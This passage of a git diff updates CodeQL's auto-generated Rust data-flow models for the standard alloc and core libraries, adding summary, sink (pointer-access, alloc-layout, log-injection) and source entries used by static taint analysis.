"dfc-generated"] - ["lang:alloc", "::new_uninit_slice_in", "Argument[1]", "ReturnValue.Field[crate::sync::Arc::alloc]", "value", "dfc-generated"] @@ -440,33 +495,42 @@ extensions: - ["lang:alloc", "::try_new_zeroed_in", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::Arc::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::try_unwrap", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:alloc", "::unwrap_or_clone", "Argument[0].Reference.Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::unwrap_or_clone", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::sync::Weak::alloc].Reference", "ReturnValue.Field[crate::sync::Weak::alloc]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::sync::Weak::alloc]", "ReturnValue.Field[crate::sync::Weak::alloc]", "value", "dfc-generated"] + - ["lang:alloc", "::clone", "Argument[self].Field[crate::sync::Weak::ptr]", "ReturnValue.Field[crate::sync::Weak::ptr]", "value", "dfc-generated"] - ["lang:alloc", "::allocator", "Argument[self].Field[crate::sync::Weak::alloc]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::from_raw", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::from_raw_in", "Argument[1]", "ReturnValue.Field[crate::sync::Weak::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::new_in", "Argument[0]", "ReturnValue.Field[crate::sync::Weak::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::upgrade", "Argument[self].Field[crate::sync::Weak::alloc].Reference", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::Arc::alloc]", "value", "dfc-generated"] - - ["lang:alloc", "::upgrade", "Argument[self].Field[crate::sync::Weak::alloc]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::Arc::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::upgrade", "Argument[self].Field[crate::sync::Weak::ptr]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::Arc::ptr]", "value", "dfc-generated"] - ["lang:alloc", "::borrow", "Argument[self].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::borrow_mut", "Argument[self].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:alloc", "::as_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::from", "Argument[0].Field[crate::borrow::Cow::Owned(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::from", "Argument[0].Field[crate::bstr::ByteString(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::from", "Argument[0].Field[crate::collections::binary_heap::BinaryHeap::data]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::from", "Argument[0].Field[crate::string::String::vec]", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "::drain", "Argument[self].Field[crate::ptr::unique::Unique::pointer]", "ReturnValue.Field[crate::vec::drain::Drain::vec]", "value", "dfc-generated"] - ["lang:alloc", "::extract_if", "Argument[1]", "ReturnValue.Field[crate::vec::extract_if::ExtractIf::pred]", "value", "dfc-generated"] + - ["lang:alloc", "::extract_if", "Argument[self].Field[crate::vec::Vec::len]", "ReturnValue.Field[crate::vec::extract_if::ExtractIf::old_len]", "value", "dfc-generated"] - ["lang:alloc", "::extract_if", "Argument[self]", "ReturnValue.Field[crate::vec::extract_if::ExtractIf::vec]", "value", "dfc-generated"] - ["lang:alloc", "::from_parts_in", "Argument[1]", "ReturnValue.Field[crate::vec::Vec::len]", "value", "dfc-generated"] - ["lang:alloc", "::from_raw_parts_in", "Argument[1]", "ReturnValue.Field[crate::vec::Vec::len]", "value", "dfc-generated"] - ["lang:alloc", "::len", "Argument[self].Field[crate::vec::Vec::len]", "ReturnValue", "value", "dfc-generated"] - ["lang:alloc", "::push_within_capacity", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["lang:alloc", "::resize", "Argument[0]", "Argument[self].Field[crate::vec::Vec::len]", "value", "dfc-generated"] + - ["lang:alloc", "::resize_with", "Argument[0]", "Argument[self].Field[crate::vec::Vec::len]", "value", "dfc-generated"] - ["lang:alloc", "::set_len", "Argument[0]", "Argument[self].Field[crate::vec::Vec::len]", "value", "dfc-generated"] + - ["lang:alloc", "::splice", "Argument[self].Field[crate::ptr::unique::Unique::pointer]", "ReturnValue.Field[crate::vec::splice::Splice::drain].Field[crate::vec::drain::Drain::vec]", "value", "dfc-generated"] + - ["lang:alloc", "::split_off", "Argument[0]", "Argument[self].Field[crate::vec::Vec::len]", "value", "dfc-generated"] - ["lang:alloc", "::truncate", "Argument[0]", "Argument[self].Field[crate::vec::Vec::len]", "value", "dfc-generated"] + - ["lang:alloc", "::try_with_capacity_in", "Argument[1]", "ReturnValue.Field[crate::raw_vec::RawVec::inner].Field[crate::raw_vec::RawVecInner::alloc]", "value", "dfc-generated"] - ["lang:alloc", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:alloc", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::new", "Argument[0].Field[crate::vec::Vec::len]", "ReturnValue.Field[crate::vec::extract_if::ExtractIf::old_len]", "value", "dfc-generated"] - ["lang:alloc", "::new", "Argument[0]", "ReturnValue.Field[crate::vec::extract_if::ExtractIf::vec]", "value", "dfc-generated"] - ["lang:alloc", "::new", "Argument[1]", "ReturnValue.Field[crate::vec::extract_if::ExtractIf::pred]", "value", "dfc-generated"] - ["lang:alloc", "::as_inner", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -484,10 +548,150 @@ extensions: - ["lang:alloc", "::new", "Argument[0]", "ReturnValue.Field[crate::vec::set_len_on_drop::SetLenOnDrop::len]", "value", "dfc-generated"] - ["lang:alloc", "::downcast", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:alloc", "::from_elem", "Argument[1]", "ReturnValue.Field[crate::vec::Vec::len]", "value", "dfc-generated"] - - ["lang:alloc", "::spec_to_string", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:alloc", "::spec_to_string", "Argument[self]", "ReturnValue", "value", "df-generated"] - ["lang:alloc", "::from_elem", "Argument[1]", "ReturnValue.Field[crate::vec::Vec::len]", "value", "dfc-generated"] - ["lang:alloc", "crate::collections::btree::mem::replace", "Argument[0].Reference", "Argument[1].Parameter[0]", "value", "dfc-generated"] - - ["lang:alloc", "crate::collections::btree::mem::replace", "Argument[1].ReturnValue", "Argument[0].Reference", "value", "dfc-generated"] - ["lang:alloc", "crate::collections::btree::mem::take_mut", "Argument[0].Reference", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:alloc", "crate::collections::btree::mem::take_mut", "Argument[1].ReturnValue", "Argument[0].Reference", "value", "dfc-generated"] - ["lang:alloc", "crate::str::convert_while_ascii", "Argument[0]", "Argument[1]", "taint", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["lang:alloc", "<[_]>::sort", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "<[_]>::sort_by", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "<[_]>::sort_by_key", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::allocate", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::allocate_zeroed", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::grow", "Argument[2]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::grow", "Argument[2]", "alloc-size", "df-generated"] + - ["lang:alloc", "::grow_zeroed", "Argument[2]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::grow_zeroed", "Argument[2]", "alloc-size", "df-generated"] + - ["lang:alloc", "::shrink", "Argument[2]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::shrink", "Argument[2]", "alloc-size", "df-generated"] + - ["lang:alloc", "::try_new_uninit_slice", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::try_new_zeroed_slice", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::drop", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::drop", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::max", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::min", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::max", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::min", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::max", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::min", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::max", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::min", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::max", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::min", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::max", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::min", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::deallocating_next_back_unchecked", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::deallocating_next_unchecked", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back_unchecked", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_unchecked", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back_checked", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_checked", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::consider_for_balancing", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::append_from_sorted_iters", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::bulk_push", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::choose_parent_kv", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::fix_node_and_affected_ancestors", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::full_range", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::push_internal_level", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::max", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::min", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::last", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::max", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::min", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::clone_from", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::spec_extend", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::extend", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::extend_one", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::extend_reserve", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::append", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::insert", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::insert", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::make_contiguous", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::push_back", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::push_front", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::remove", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::reserve", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::reserve_exact", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::resize", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::resize_with", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::rotate_left", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::rotate_left", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::rotate_right", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::rotate_right", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::shrink_to", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::shrink_to", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::shrink_to_fit", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::try_reserve", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::try_reserve_exact", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::make_mut", "Argument[0]", "pointer-access", "df-generated"] + - ["lang:alloc", "::new_uninit_slice_in", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::new_zeroed_slice", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::new_zeroed_slice_in", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::split_off", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::split_off", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::make_mut", "Argument[0]", "pointer-access", "df-generated"] + - ["lang:alloc", "::new_zeroed_slice", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:alloc", "::from", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::insert", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::insert", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::remove", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::remove", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::split_off", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::split_off", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::swap_remove", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "::swap_remove", "Argument[self]", "log-injection", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next_back", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "::next", "Argument[self]", "pointer-access", "df-generated"] + - ["lang:alloc", "crate::alloc::__alloc_error_handler::__rdl_oom", "Argument[0]", "log-injection", "df-generated"] + - ["lang:alloc", "crate::collections::btree::mem::replace", "Argument[0]", "pointer-access", "df-generated"] + - ["lang:alloc", "crate::collections::btree::mem::take_mut", "Argument[0]", "pointer-access", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["lang:alloc", "::drop", "Argument[self]", "pointer-invalidate", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/lang-core.model.yml b/rust/ql/lib/ext/generated/rust/lang-core.model.yml index 734b13027cd..01235d61b5a 100644 --- a/rust/ql/lib/ext/generated/rust/lang-core.model.yml +++ b/rust/ql/lib/ext/generated/rust/lang-core.model.yml @@ -7,16 +7,199 @@ extensions: - ["lang:core", "<&_ as crate::borrow::Borrow>::borrow", "Argument[self].Reference.Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "<&_ as crate::clone::Clone>::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&_ as crate::ops::deref::Deref>::deref", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "<&bool as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&bool as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&bool as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&bool as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&bool as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&bool as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&bool as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "<&crate::net::ip_addr::Ipv4Addr as crate::ops::bit::BitAnd>::bitand", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&crate::net::ip_addr::Ipv4Addr as crate::ops::bit::BitOr>::bitor", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&crate::net::ip_addr::Ipv4Addr as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "<&crate::net::ip_addr::Ipv6Addr as crate::ops::bit::BitAnd>::bitand", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&crate::net::ip_addr::Ipv6Addr as crate::ops::bit::BitOr>::bitor", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<&crate::net::ip_addr::Ipv6Addr as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::saturating::Saturating as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&crate::num::wrapping::Wrapping as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "<&crate::result::Result as crate::iter::traits::collect::IntoIterator>::into_iter", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f32 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&f64 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Rem>::rem", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Rem>::rem", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::arith::Sub>::sub", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::BitOr>::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::BitOr>::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::BitXor>::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::BitXor>::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::Not>::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::Shl>::shl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::Shl>::shl", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i128 as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Add>::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Add>::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Div>::div", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Div>::div", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Mul>::mul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Mul>::mul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as crate::ops::arith::Neg>::neg", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&i16 as 